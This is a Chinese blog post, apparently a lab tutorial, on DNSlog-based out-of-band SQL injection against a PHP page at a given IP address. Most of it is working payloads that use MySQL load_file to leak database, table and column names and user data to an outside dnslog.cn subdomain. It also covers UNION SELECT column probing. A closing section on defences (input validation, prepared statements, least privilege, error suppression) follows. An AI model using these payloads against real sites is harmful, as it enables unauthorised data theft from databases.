dns_log进行sql注入回显

本文详细介绍了SQL注入的基本原理和常见手法,包括查询数据库名、当前数据库名、表名及列名,并展示了如何利用load_file函数读取数据。同时,强调了SQL注入的危害,提醒读者关注数据库安全,采取措施防止此类攻击。

http://59.63.200.79:8022/cat/index.php?id=1为例,

以下语句中单引号有问题,为中文,大家自己修正下:

 

查询所有数据库名:(以下为步骤,自己理解并写注入sql)

1.select distinct TABLE_SCHEMA from information_schema.TABLES  //从information_schema库的TABLES表中获取所有的数据库名;

2.可以使用limit每次回显一个数据库名,比如limit 0,1回显第一个数据库名,也可以将所有数据库名组合一起,一起回显,sql语句应该为:select group_concat(TABLE_SCHEMA) from (select distinct TABLE_SCHEMA from information_schema.TABLES);

3.注入sql应该为and load_file(concat('//',(select group_concat(TABLE_SCHEMA) from (select distinct TABLE_SCHEMA from information_schema.TABLES);),'.jv2knh.dnslog.cn/1.txt'))

查询当前数据库名:

and load_file(concat('//',(select database()),'.jv2knh.dnslog.cn/1.txt'))

查询表名:

1.逐个回显:and load_file(concat('//',(select table_name from information_schema.tables where table_schema=’security’ limit 0,1),’.jv2knh.dnslog.cn/1.txt’))

2.组合成一个字符串回显:and load_file(concat('//',(select group_concat(table_name) from information_schema.tables where table_schema=’security’ limit 0,1),’.jv2knh.dnslog.cn/1.txt’))

查询列名:

and load_file(concat(‘//’,(select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),’.jv2knh.dnslog.cn/1.txt’))

查询数据:

and load_file(concat(‘//’,(select username from users limit 0,1),’.jv2knh.dnslog.cn/1.txt’))

### SQL注入回显位panding原理 在SQL注入中,回显位指的是数据库查询结果能够在页面上显示出来的位置。而“panding”可能是表述有误,推测你想问的是“判断”回显位。判断回显位的原理基于构造特殊的SQL语句,利用数据库的特性来确定哪些位置可以将查询结果反馈到页面。 通常会采用联合查询(UNION SELECT)的方式。联合查询要求两个或多个SELECT语句的列数和数据类型要一致。攻击者会构造不同列数的联合查询语句,通过观察页面是否报错或者显示异常来判断回显位。例如,先构造`' UNION SELECT 1 --` 尝试,如果页面报错,说明列数不匹配,接着尝试`' UNION SELECT 1,2 --` ,不断增加列数,直到页面正常显示或者出现预期的结果,此时确定的列数就是回显位的数量。 ### SQL注入回显位判断的解决方案 #### 输入验证 对用户输入进行严格的验证和过滤,只允许合法的字符和格式。可以使用正则表达式来限制输入的内容,例如只允许字母、数字等合法字符。 ```python import re user_input = input("请输入内容:") pattern = re.compile(r'^[a-zA-Z0-9]+$') if not pattern.match(user_input): print("输入包含非法字符") ``` #### 预编译语句 使用预编译语句(Prepared Statements)可以有效防止SQL注入。预编译语句会将SQL语句和用户输入参数分开处理,数据库对SQL语句进行预编译,参数会作为独立的数据进行传递,不会被解析为SQL代码的一部分。 ```java import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; public class PreparedStatementExample { public static void main(String[] args) { String url = "jdbc:mysql://localhost:3306/mydb"; String username = "root"; String password = "password"; String userInput = "test"; try (Connection conn = DriverManager.getConnection(url, username, password)) { String sql = "SELECT * FROM users WHERE username = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, userInput); ResultSet rs = pstmt.executeQuery(); while (rs.next()) { System.out.println(rs.getString("username")); } } catch (SQLException e) { e.printStackTrace(); } } } ``` #### 最小权限原则 为数据库用户分配最小的必要权限。例如,只给应用程序的数据库用户授予查询数据的权限,而不授予修改、删除等危险操作的权限,即使发生SQL注入,攻击者也无法进行严重的破坏。 #### 错误信息屏蔽 避免在页面上显示详细的数据库错误信息。详细的错误信息可能会给攻击者提供有用的信息,如数据库类型、表名、列名等。应该将错误信息记录到日志文件中,而在页面上只显示通用的错误提示。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

THMAIL

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值